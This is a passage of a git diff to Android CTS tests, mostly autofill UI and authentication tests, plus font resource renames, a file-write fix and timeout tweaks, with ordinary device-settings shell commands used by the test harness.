// Set service.
enableService();
- try {
- // Set expectations.
- sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder().setField(
- "radioGroup", value).setField("editText",
- AutofillValue.forText("filled")).setPresentation(
- createPresentation("dataset")).build());
- MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
- "radioGroup", 2, mRadioGroup, expectedValue);
- mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
- // Trigger autofill.
- startAutoFill(mEditText);
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
+ .setField("radioGroup", value)
+ .setField("editText", "filled")
+ .setPresentation(createPresentation("dataset"))
+ .build());
+ MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
+ "radioGroup", 2, mRadioGroup, expectedValue);
+ mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
- // Autofill it.
- sUiBot.selectDataset("dataset");
+ // Trigger autofill.
+ startAutoFill(mEditText);
- if (expectAutoFill) {
- // Check the results.
- radioGroupWatcher.assertAutoFilled();
+ // Autofill it.
+ sUiBot.selectDataset("dataset");
+
+ if (expectAutoFill) {
+ // Check the results.
+ radioGroupWatcher.assertAutoFilled();
+ } else {
+ if (expectedValue == 0) {
+ assertThat(mRadioButton1.isChecked()).isEqualTo(true);
+ assertThat(mRadioButton2.isChecked()).isEqualTo(false);
} else {
- if (expectedValue == 0) {
- assertThat(mRadioButton1.isChecked()).isEqualTo(true);
- assertThat(mRadioButton2.isChecked()).isEqualTo(false);
- } else {
- assertThat(mRadioButton1.isChecked()).isEqualTo(false);
- assertThat(mRadioButton2.isChecked()).isEqualTo(true);
+ assertThat(mRadioButton1.isChecked()).isEqualTo(false);
+ assertThat(mRadioButton2.isChecked()).isEqualTo(true);
- }
}
- } finally {
- disableService();
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 8029748..9c1f459 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -16,12 +16,16 @@
package android.autofillservice.cts;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
+
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import android.app.assist.AssistStructure;
import android.app.assist.AssistStructure.ViewNode;
import android.app.assist.AssistStructure.WindowNode;
+import android.content.Context;
import android.content.pm.PackageManager;
import android.icu.util.Calendar;
import android.os.UserManager;
@@ -47,6 +51,9 @@
private static final String TAG = "AutoFillCtsHelper";
+ // TODO: should static import Settings.Secure instead, but that's not a @TestApi
+ private static String USER_SETUP_COMPLETE = "user_setup_complete";
+
static final boolean VERBOSE = false;
static final String ID_USERNAME_LABEL = "username_label";
@@ -128,7 +135,11 @@
if (VERBOSE) Log.v(TAG, "Ignoring", e);
Thread.sleep(RETRY_MS);
} else {
- throw new Exception("Timedout out after " + timeout + " ms", e);
+ if (e instanceof RetryableException) {
+ throw e;
+ } else {
+ throw new Exception("Timedout out after " + timeout + " ms", e);
+ }
}
}
}
@@ -187,6 +198,38 @@
runShellCommand("pm set-user-restriction no_autofill %d", restricted ? 1 : 0);
}
+ /**
+ * Sets whether the user completed the initial setup.
+ */
+ static void setUserComplete(Context context, boolean complete) {
+ if (isUserComplete() == complete) return;
+
+ final OneTimeSettingsListener observer = new OneTimeSettingsListener(context,
+ USER_SETUP_COMPLETE);
+ final String newValue = complete ? "1" : null;
+ runShellCommand("settings put secure %s %s default", USER_SETUP_COMPLETE, newValue);
+ observer.assertCalled();
+
+ assertIsUserComplete(complete);
+ }
+
+ /**
+ * Gets whether the user completed the initial setup.
+ */
+ static boolean isUserComplete() {
+ final String isIt = runShellCommand("settings get secure %s", USER_SETUP_COMPLETE);
+ return "1".equals(isIt);
+ }
+
+ /**
+ * Assets that user completed (or not) the initial setup.
+ */
+ static void assertIsUserComplete(boolean expected) {
+ final boolean actual = isUserComplete();
+ assertWithMessage("Invalid value for secure setting %s", USER_SETUP_COMPLETE)
+ .that(actual).isEqualTo(expected);
+ }
+
private static void dump(StringBuffer buffer, ViewNode node, String prefix, int childId) {
final int childrenSize = node.getChildCount();
buffer.append("\n").append(prefix)
@@ -639,6 +682,9 @@
assertThat(getMaxPartitions()).isEqualTo(value);
}
+ /**
+ * Checks if device supports the Autofill feature.
+ */
public static boolean hasAutofillFeature() {
return RequiredFeatureRule.hasFeature(PackageManager.FEATURE_AUTOFILL);
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c157b38..b03966e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -16,6 +16,8 @@
package android.autofillservice.cts;
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
@@ -28,6 +30,7 @@
import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.Helper.setUserComplete;
import static android.autofillservice.cts.Helper.setUserRestrictionForAutofill;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
@@ -64,7 +67,6 @@
import android.content.IntentFilter;
import android.content.IntentSender;
import android.os.Bundle;
-import android.platform.test.annotations.Presubmit;
import android.service.autofill.FillEventHistory;
import android.service.autofill.SaveInfo;
import android.support.test.rule.ActivityTestRule;
@@ -496,7 +498,6 @@
}
@Test
- @Presubmit
public void testAutoFillOneDatasetAndSave() throws Exception {
// Set service.
enableService();
@@ -1264,6 +1265,15 @@
@Test
public void testFillResponseAuthBothFields() throws Exception {
+ fillResponseAuthBothFields(false);
+ }
+
+ @Test
+ public void testFillResponseAuthBothFieldsUserCancelsFirstAttempt() throws Exception {
+ fillResponseAuthBothFields(true);
+ }
+
+ private void fillResponseAuthBothFields(boolean cancelFirstAttempt) throws Exception {
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1298,29 +1308,49 @@
sReplier.getNextFillRequest();
final View username = mActivity.getUsername();
callback.assertUiShownEvent(username);
- sUiBot.assertShownByText("Tap to auth response");
+ sUiBot.assertDatasets("Tap to auth response");
// Make sure UI is show on 2nd field as well
final View password = mActivity.getPassword();
mActivity.onPassword(View::requestFocus);
callback.assertUiHiddenEvent(username);
callback.assertUiShownEvent(password);
- sUiBot.assertShownByText("Tap to auth response");
+ sUiBot.assertDatasets("Tap to auth response");
// Now tap on 1st field to show it again...
mActivity.onUsername(View::requestFocus);
callback.assertUiHiddenEvent(password);
callback.assertUiShownEvent(username);
- sUiBot.selectByText("Tap to auth response");
- callback.assertUiHiddenEvent(username);
- sUiBot.assertNotShownByText("Tap to auth response");
+
+ if (cancelFirstAttempt) {
+ // Trigger the auth dialog, but emulate cancel.
+ AuthenticationActivity.setResultCode(RESULT_CANCELED);
+ sUiBot.selectDataset("Tap to auth response");
+ callback.assertUiHiddenEvent(username);
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // Make sure it's still shown on other fields...
+ mActivity.onPassword(View::requestFocus);
+ callback.assertUiHiddenEvent(username);
+ callback.assertUiShownEvent(password);
+ sUiBot.assertDatasets("Tap to auth response");
+
+ // Tap on 1st field to show it again...
+ mActivity.onUsername(View::requestFocus);
+ callback.assertUiHiddenEvent(password);
+ callback.assertUiShownEvent(username);
+ }
// ...and select it this time
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ sUiBot.selectDataset("Tap to auth response");
+ callback.assertUiHiddenEvent(username);
callback.assertUiShownEvent(username);
+ sUiBot.assertNotShownByText("Tap to auth response");
sUiBot.selectDataset("Dataset");
callback.assertUiHiddenEvent(username);
sUiBot.assertNoDatasets();
- sUiBot.assertNotShownByText("Tap to auth response");
// Check the results.
mActivity.assertAutoFilled();
@@ -1367,18 +1397,18 @@
sReplier.getNextFillRequest();
final View username = mActivity.getUsername();
callback.assertUiShownEvent(username);
- sUiBot.assertShownByText("Tap to auth response");
+ sUiBot.assertDatasets("Tap to auth response");
// Make sure UI is not show on 2nd field
mActivity.onPassword(View::requestFocus);
callback.assertUiHiddenEvent(username);
- sUiBot.assertNotShownByText("Tap to auth response");
+ sUiBot.assertNoDatasets();
// Now tap on 1st field to show it again...
mActivity.onUsername(View::requestFocus);
callback.assertUiShownEvent(username);
// ...and select it this time
- sUiBot.selectByText("Tap to auth response");
+ sUiBot.selectDataset("Tap to auth response");
callback.assertUiHiddenEvent(username);
sUiBot.assertNotShownByText("Tap to auth response");
@@ -1386,7 +1416,6 @@
sUiBot.selectDataset("Dataset");
callback.assertUiHiddenEvent(username);
sUiBot.assertNoDatasets();
- sUiBot.assertNotShownByText("Tap to auth response");
// Check the results.
mActivity.assertAutoFilled();
@@ -1423,14 +1452,26 @@
callback.assertUiShownEvent(username);
// Select the authentication dialog.
- sUiBot.selectByText("Tap to auth response");
+ sUiBot.selectDataset("Tap to auth response");
callback.assertUiHiddenEvent(username);
- sUiBot.assertNotShownByText("Tap to auth response");
sUiBot.assertNoDatasets();
}
@Test
public void testDatasetAuthTwoFields() throws Exception {
+ datasetAuthTwoFields(false);
+ }
+
+ @Test
+ public void testDatasetAuthTwoFieldsUserCancelsFirstAttempt() throws Exception {
+ datasetAuthTwoFields(true);
+ }
+
+ private void datasetAuthTwoFields(boolean cancelFirstAttempt) throws Exception {
+ // TODO: current API requires these fields...
+ final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+ final String bogusValue = "Y U REQUIRE IT?";
+
// Set service.
enableService();
final MyAutofillCallback callback = mActivity.registerCallback();
@@ -1440,14 +1481,14 @@
new CannedDataset.Builder()
.setField(ID_USERNAME, "dude")
.setField(ID_PASSWORD, "sweet")
- .setPresentation(createPresentation("Dataset"))
+ .setPresentation(bogusPresentation)
.build());
// Configure the service behavior
sReplier.addResponse(new CannedFillResponse.Builder()
.addDataset(new CannedDataset.Builder()
- .setField(ID_USERNAME, "dude")
- .setField(ID_PASSWORD, "sweet")
+ .setField(ID_USERNAME, bogusValue)
+ .setField(ID_PASSWORD, bogusValue)
.setPresentation(createPresentation("Tap to auth dataset"))
.setAuthentication(authentication)
.build())
@@ -1462,12 +1503,47 @@
// Wait for onFill() before proceeding.
sReplier.getNextFillRequest();
final View username = mActivity.getUsername();
-
- // Authenticate
callback.assertUiShownEvent(username);
- sUiBot.selectByText("Tap to auth dataset");
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // Make sure UI is show on 2nd field as well
+ final View password = mActivity.getPassword();
+ mActivity.onPassword(View::requestFocus);
callback.assertUiHiddenEvent(username);
- sUiBot.assertNotShownByText("Tap to auth dataset");
+ callback.assertUiShownEvent(password);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // Now tap on 1st field to show it again...
+ mActivity.onUsername(View::requestFocus);
+ callback.assertUiHiddenEvent(password);
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ if (cancelFirstAttempt) {
+ // Trigger the auth dialog, but emulate cancel.
+ AuthenticationActivity.setResultCode(RESULT_CANCELED);
+ sUiBot.selectDataset("Tap to auth dataset");
+ callback.assertUiHiddenEvent(username);
+ callback.assertUiShownEvent(username);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // Make sure it's still shown on other fields...
+ mActivity.onPassword(View::requestFocus);
+ callback.assertUiHiddenEvent(username);
+ callback.assertUiShownEvent(password);
+ sUiBot.assertDatasets("Tap to auth dataset");
+
+ // Tap on 1st field to show it again...
+ mActivity.onUsername(View::requestFocus);
+ callback.assertUiHiddenEvent(password);
+ callback.assertUiShownEvent(username);
+ }
+
+ // ...and select it this time
+ AuthenticationActivity.setResultCode(RESULT_OK);
+ sUiBot.selectDataset("Tap to auth dataset");
+ callback.assertUiHiddenEvent(username);
+ sUiBot.assertNoDatasets();
// Check the results.
mActivity.assertAutoFilled();
@@ -1516,14 +1592,14 @@
// Authenticate
callback.assertUiShownEvent(username);
- sUiBot.selectByText("Tap to auth dataset");
+ sUiBot.selectDataset("Tap to auth dataset");
callback.assertUiHiddenEvent(username);
// Select a dataset from the new response
callback.assertUiShownEvent(username);
- sUiBot.selectByText("Dataset");
+ sUiBot.selectDataset("Dataset");
callback.assertUiHiddenEvent(username);
- sUiBot.assertNotShownByText("Dataset");
+ sUiBot.assertNoDatasets();
// Check the results.
mActivity.assertAutoFilled();
@@ -1570,9 +1646,9 @@
// Authenticate
callback.assertUiShownEvent(username);
- sUiBot.selectByText("Tap to auth dataset");
+ sUiBot.selectDataset("Tap to auth dataset");
callback.assertUiHiddenEvent(username);
- sUiBot.assertNotShownByText("Tap to auth dataset");
+ sUiBot.assertNoDatasets();
// Check the results.
mActivity.assertAutoFilled();
@@ -2495,4 +2571,21 @@
disableService();
}
}
+
+ @Test
+ public void testSetupComplete() throws Exception {
+ enableService();
+
+ // Sanity check.
+ final AutofillManager afm = mActivity.getAutofillManager();
+ assertThat(afm.isEnabled()).isTrue();
+
+ // Now disable user_complete and try again.
+ try {
+ setUserComplete(getContext(), false);
+ assertThat(afm.isEnabled()).isFalse();
+ } finally {
+ setUserComplete(getContext(), true);
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
index d474dc8..5b60e32 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultipleFragmentLoginTest.java
@@ -16,6 +16,7 @@
package android.autofillservice.cts;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
import static android.autofillservice.cts.FragmentContainerActivity.FRAGMENT_TAG;
import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
import static android.autofillservice.cts.Helper.eventually;
@@ -118,8 +119,7 @@
() -> mActivity.getFragmentManager().beginTransaction().replace(
R.id.rootContainer, new FragmentWithMoreEditTexts(),
FRAGMENT_TAG).commitNow());
- EditText mEditText5 = mActivity.findViewById(R.id.editText5);
-
+ EditText editText5 = mActivity.findViewById(R.id.editText5);
fillRequest[0] = sReplier.getNextFillRequest();
// The fillRequest should have a fillContext for each partition. The first partition
@@ -159,7 +159,7 @@
sUiBot.assertShownByText("editText4-autofilled");
// Manually fill view
- mActivity.syncRunOnUiThread(() -> mEditText5.setText("editText5-manually-filled"));
+ mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
// Finish activity and save data
mActivity.finish();
@@ -198,4 +198,53 @@
disableService();
}
}
+
+ @Test
+ public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
+ uiDismissedWhenFragmentIsGoneText(false);
+ }
+
+ @Test
+ public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
+ uiDismissedWhenFragmentIsGoneText(true);
+ }
+
+ private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField("editText1", "whatever")
+ .setPresentation(createPresentation("dataset1"))
+ .build());
+ if (savable) {
+ response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
+ }
+
+ sReplier.addResponse(response.build());
+
+ // Trigger autofill
+ mActivity.syncRunOnUiThread(() -> {
+ mEditText2.requestFocus();
+ mEditText1.requestFocus();
+ });
+
+ // Check UI is shown, but don't select it.
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1");
+
+ // Switch fragments
+ sReplier.addResponse(NO_RESPONSE);
+ mActivity.syncRunOnUiThread(
+ () -> mActivity.getFragmentManager().beginTransaction().replace(
+ R.id.rootContainer, new FragmentWithMoreEditTexts(),
+ FRAGMENT_TAG).commitNow());
+ // Make sure UI is gone.
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+ }
+
+ // TODO: add similar tests for fragment with virtual view
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
index b60840d..756b6e9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/PartitionedActivityTest.java
@@ -2223,22 +2223,22 @@
// Finally, autofill and check them.
mActivity.focusCell(2, 1);
- sUiBot.selectByText("Auth 2");
+ sUiBot.selectDataset("Auth 2");
sUiBot.selectDataset("Partition 2");
expectation2.assertAutoFilled();
mActivity.focusCell(4, 1);
- sUiBot.selectByText("Auth 4");
+ sUiBot.selectDataset("Auth 4");
sUiBot.selectDataset("Partition 4");
expectation4.assertAutoFilled();
mActivity.focusCell(3, 1);
- sUiBot.selectByText("Auth 3");
+ sUiBot.selectDataset("Auth 3");
sUiBot.selectDataset("Partition 3");
expectation3.assertAutoFilled();
mActivity.focusCell(1, 1);
- sUiBot.selectByText("Auth 1");
+ sUiBot.selectDataset("Auth 1");
sUiBot.selectDataset("Partition 1");
expectation1.assertAutoFilled();
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index d1f01e1..987ddbe 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -152,6 +152,9 @@
/**
* Selects a view by text.
+ *
+ * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
+ * {@link #selectDataset(String)}.
*/
void selectByText(String name) {
Log.v(TAG, "selectByText(): " + name);
@@ -161,7 +164,10 @@
}
/**
- * Asserts a text is not shown.
+ * Asserts a text is shown.
+ *
+ * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
+ * {@link #assertDatasets(String...)}.
*/
public void assertShownByText(String text) {
final UiObject2 object = waitForObject(By.text(text));
@@ -169,7 +175,10 @@
}
/**
- * Asserts a text is now shown.
+ * Asserts a text is not shown.
+ *
+ * <p><b>NOTE:</b> when asserting the dataset picker is not shown, prefer
+ * {@link #assertNoDatasets()}.
*/
public void assertNotShownByText(String text) {
final UiObject2 uiObject = mDevice.findObject(By.text(text));
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 1358c34..656b96d 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -14,6 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Camera test cases">
+ <option name="config-descriptor:metadata" key="component" value="camera" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsCameraTestCases.apk" />
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 4cf07ac..386679a 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -147,8 +147,9 @@
byte[] data = generateRandomData(BUFFER_SIZE);
long written = 0;
while (written < length) {
- out.write(data);
- written += BUFFER_SIZE;
+ int toWrite = (int) Math.min(BUFFER_SIZE, length - written);
+ out.write(data, 0, toWrite);
+ written += toWrite;
}
out.flush();
out.close();
diff --git a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
index 67f90b4..f99bb0b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
@@ -542,7 +542,7 @@
assertEquals(animatorResourceId, fragment.resourceId);
assertNotNull(fragment.animator);
assertTrue(fragment.wasStarted);
- assertTrue(fragment.endLatch.await(200, TimeUnit.MILLISECONDS));
+ assertTrue(fragment.endLatch.await(1, TimeUnit.SECONDS));
}
private void assertPostponed(AnimatorFragment fragment, int expectedAnimators)
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index ed48c82..00ec95b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -809,6 +809,53 @@
}
/**
+ * Check that retained fragments in the backstack correctly restored after two "configChanges"
+ */
+ @Test
+ public void retainedFragmentInBackstack() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, null);
+ FragmentManager fm = fc.getFragmentManager();
+
+ Fragment fragment1 = new StrictFragment();
+ fm.beginTransaction()
+ .add(fragment1, "1")
+ .addToBackStack(null)
+ .commit();
+ fm.executePendingTransactions();
+
+ Fragment child = new StrictFragment();
+ child.setRetainInstance(true);
+ fragment1.getChildFragmentManager().beginTransaction()
+ .add(child, "child").commit();
+ fragment1.getChildFragmentManager().executePendingTransactions();
+
+ Fragment fragment2 = new StrictFragment();
+ fm.beginTransaction()
+ .remove(fragment1)
+ .add(fragment2, "2")
+ .addToBackStack(null)
+ .commit();
+ fm.executePendingTransactions();
+
+ Pair<Parcelable, FragmentManagerNonConfig> savedState =
+ FragmentTestUtil.destroy(mActivityRule, fc);
+
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, savedState);
+ savedState = FragmentTestUtil.destroy(mActivityRule, fc);
+ fc = FragmentTestUtil.createController(mActivityRule);
+ FragmentTestUtil.resume(mActivityRule, fc, savedState);
+ fm = fc.getFragmentManager();
+ fm.popBackStackImmediate();
+ Fragment retainedChild = fm.findFragmentByTag("1")
+ .getChildFragmentManager().findFragmentByTag("child");
+ assertEquals(child, retainedChild);
+ });
+ }
+
+ /**
* When a fragment has been optimized out, it state should still be saved during
* save and restore instance state.
*/
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
index 6821a39..5d5d025 100644
--- a/tests/tests/content/Android.mk
+++ b/tests/tests/content/Android.mk
@@ -26,18 +26,19 @@
LOCAL_JAVA_LIBRARIES := android.test.runner
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 \
- android-support-multidex \
- compatibility-device-util \
- ctstestrunner \
- services.core \
- junit \
- legacy-android-test \
- truth-prebuilt
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ services.core \
+ junit \
+ legacy-android-test \
+ truth-prebuilt
+
+LOCAL_STATIC_ANDROID_LIBRARIES := android-support-v4
# Use multi-dex as the compatibility-common-util-devicesidelib dependency
# on compatibility-device-util pushes us beyond 64k methods.
-LOCAL_JACK_FLAGS := --multi-dex legacy
+LOCAL_JACK_FLAGS := --multi-dex native
LOCAL_DX_FLAGS := --multi-dex
# Resource unit tests use a private locale and some densities
diff --git a/tests/tests/content/res/font/invalid_xmlfamily.xml b/tests/tests/content/res/font/invalid_xmlfamily.xml
index d3b2412..d1dcef0 100644
--- a/tests/tests/content/res/font/invalid_xmlfamily.xml
+++ b/tests/tests/content/res/font/invalid_xmlfamily.xml
@@ -1,3 +1,3 @@
<invalid-tag xmlns:android="http://schemas.android.com/apk/res/android">
- <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+ <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
</invalid-tag>
diff --git a/tests/tests/content/res/font/invalid_xmlfont.xml b/tests/tests/content/res/font/invalid_xmlfont.xml
index 28f3683..38f03c4 100644
--- a/tests/tests/content/res/font/invalid_xmlfont.xml
+++ b/tests/tests/content/res/font/invalid_xmlfont.xml
@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<font-family xmlns:android="http://schemas.android.com/apk/res/android">
<!-- the tag inside font-family must be 'font' -->
- <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+ <ttf android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
</font-family>
diff --git a/tests/tests/content/res/font/samplefont.ttf b/tests/tests/content/res/font/samplefont.ttf
deleted file mode 100644
index 49f1c62..0000000
--- a/tests/tests/content/res/font/samplefont.ttf
+++ /dev/null
Binary files differ
diff --git a/tests/tests/content/res/font/samplexmlfont.xml b/tests/tests/content/res/font/samplexmlfont.xml
index 2905c13..ebf5cd2 100644
--- a/tests/tests/content/res/font/samplexmlfont.xml
+++ b/tests/tests/content/res/font/samplexmlfont.xml
@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<font-family xmlns:android="http://schemas.android.com/apk/res/android">
- <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/samplefont" />
+ <font android:fontStyle="normal" android:fontWeight="400" android:font="@font/sample_regular_font" />
</font-family>
\ No newline at end of file
diff --git a/tests/tests/content/res/values/styles.xml b/tests/tests/content/res/values/styles.xml
index e8b462c..91191cf 100644
--- a/tests/tests/content/res/values/styles.xml
+++ b/tests/tests/content/res/values/styles.xml
@@ -34,7 +34,7 @@
<item name="type15">@array/difficultyLevel</item>
<item name="type16">Typed Value!</item>
<item name="type17">@color/testcolor_orientation</item>
- <item name="type18">@font/samplefont</item>
+ <item name="type18">@font/sample_regular_font</item>
<item name="typeEmpty">@empty</item>
<item name="typeUndefined">@null</item>
</style>
diff --git a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
index 1c12aff..23afe68 100644
--- a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
@@ -27,7 +27,7 @@
*/
public class PrivateAttributeTest extends AndroidTestCase {
- private static final int sLastPublicAttr = 0x01010530;
+ private static final int sLastPublicAttr = 0x01010568;
public void testNoAttributesAfterLastPublicAttribute() throws Exception {
if (!Build.VERSION.CODENAME.equals("REL")) {
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index e8fe4bf..5856a0c 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -766,7 +766,7 @@
}
public void testGetFont_fontFile() {
- Typeface font = mResources.getFont(R.font.samplefont);
+ Typeface font = mResources.getFont(R.font.sample_regular_font);
assertNotNull(font);
assertNotSame(Typeface.DEFAULT, font);
@@ -841,8 +841,8 @@
}
public void testGetFont_fontFileIsCached() {
- Typeface font = mResources.getFont(R.font.samplefont);
- Typeface font2 = mResources.getFont(R.font.samplefont);
+ Typeface font = mResources.getFont(R.font.sample_regular_font);
+ Typeface font2 = mResources.getFont(R.font.sample_regular_font);
assertEquals(font, font2);
}
diff --git a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
index fa8b859..4e1469b 100644
--- a/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
+++ b/tests/tests/content/src/android/content/res/cts/TypedArrayTest.java
@@ -170,7 +170,7 @@
}
final Typeface font = t.getFont(R.styleable.style1_type18);
- assertEquals(mContext.getResources().getFont(R.font.samplefont), font);
+ assertEquals(mContext.getResources().getFont(R.font.sample_regular_font), font);
// NOTE: order does not matter here.
// R.styleable.style1_typeUndefined is not expected because TYPE_NULL values do not get
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index ece0908..360e09f 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -34,8 +34,6 @@
<activity android:name="android.graphics.drawable.cts.DrawableStubActivity"
android:theme="@style/WhiteBackgroundNoWindowAnimation"
android:screenOrientation="locked"/>
-
- <activity android:name="android.graphics.fonts.cts.MockActivity"/>
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/assets/multiaxis.ttf b/tests/tests/graphics/assets/multiaxis.ttf
index 606f555..6e78c28 100644
--- a/tests/tests/graphics/assets/multiaxis.ttf
+++ b/tests/tests/graphics/assets/multiaxis.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/multiaxis.ttx b/tests/tests/graphics/assets/multiaxis.ttx
index 5b31644..7d7279e 100644
--- a/tests/tests/graphics/assets/multiaxis.ttx
+++ b/tests/tests/graphics/assets/multiaxis.ttx
@@ -162,28 +162,21 @@
<fvar>
<Axis>
- <AxisTag>aaaa</AxisTag>
+ <AxisTag>wght</AxisTag>
+ <MinValue>0</MinValue>
+ <DefaultValue>400</DefaultValue>
+ <MaxValue>700</MaxValue>
+ <NameID>256</NameID>
+ </Axis>
+ <Axis>
+ <AxisTag>PRIV</AxisTag>
<MinValue>-1.0</MinValue>
<DefaultValue>0.0</DefaultValue>
<MaxValue>1.0</MaxValue>
<NameID>256</NameID>
</Axis>
<Axis>
- <AxisTag>BBBB</AxisTag>
- <MinValue>-1.0</MinValue>
- <DefaultValue>0.0</DefaultValue>
- <MaxValue>1.0</MaxValue>
